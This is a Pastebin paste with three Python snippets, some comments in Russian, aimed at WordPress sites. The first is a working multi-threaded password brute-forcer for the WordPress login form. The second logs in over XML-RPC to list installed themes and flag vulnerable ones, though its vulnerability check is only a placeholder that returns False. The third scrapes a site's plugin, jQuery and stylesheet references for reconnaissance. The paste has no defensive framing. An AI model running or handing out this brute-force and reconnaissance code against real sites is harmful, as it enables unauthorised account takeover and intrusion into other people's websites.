Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- from threading import Thread
- from queue import Queue
- def brute_force(url, username, passwords):
- for password in passwords:
- session = requests.Session()
- login_data = {'log': username, 'pwd': password}
- response = session.post(url, data=login_data)
- if 'wp-admin' in response.text:
- print(f'Successful login: {username}:{password}')
- return (username, password)
- print('Brute force failed')
- return None
- def multi_thread_brute_force(url, username, passwords, num_threads=10):
- password_queue = Queue()
- results = []
- for password in passwords:
- password_queue.put(password)
- def brute_force_worker():
- while not password_queue.empty() and not results:
- password = password_queue.get()
- result = brute_force(url, username, [password])
- if result:
- results.append(result)
- threads = [Thread(target=brute_force_worker) for _ in range(num_threads)]
- for t in threads:
- t.start()
- for t in threads:
- t.join()
- if results:
- return results[0]
- else:
- return None
- ##############
- from wordpress_xmlrpc import Client
- from wordpress_xmlrpc.methods import themes
- def get_all_themes(url, username, password):
- wp = Client(url + 'xmlrpc.php', username, password)
- all_themes = wp.call(themes.GetThemes())
- return all_themes
- def get_vulnerable_themes(url, username, password):
- all_themes = get_all_themes(url, username, password)
- vulnerable_themes = []
- for theme in all_themes:
- if theme.version in vulnerable_themes:
- continue
- # проверка на уязвимости темы
- if is_vulnerable(theme):
- vulnerable_themes.append(theme.version)
- return vulnerable_themes
- def is_vulnerable(theme):
- # проверка на уязвимости темы
- return False # замените на свою функцию проверки уязвимости
- #####################
- import requests
- from bs4 import BeautifulSoup
- # URL сайта
- url = "https://example.com"
- # Отправляем GET запрос на главную страницу сайта
- response = requests.get(url)
- # Парсим HTML страницу с помощью BeautifulSoup
- soup = BeautifulSoup(response.text, "html.parser")
- # Ищем тег <link> с атрибутом rel="stylesheet"
- stylesheets = soup.find_all("link", {"rel": "stylesheet"})
- # Ищем тег <script> с атрибутом src, содержащим "plugins"
- plugins = soup.find_all("script", {"src": lambda src: "plugins" in src})
- # Ищем тег <script> с атрибутом src, содержащим "jquery"
- jquery = soup.find_all("script", {"src": lambda src: "jquery" in src})
- # Выводим результаты
- print("Стили:")
- for stylesheet in stylesheets:
- print(stylesheet.get("href"))
- print("Плагины:")
- for plugin in plugins:
- print(plugin.get("src"))
- print("jQuery:")
- for jq in jquery:
- print(jq.get("src"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement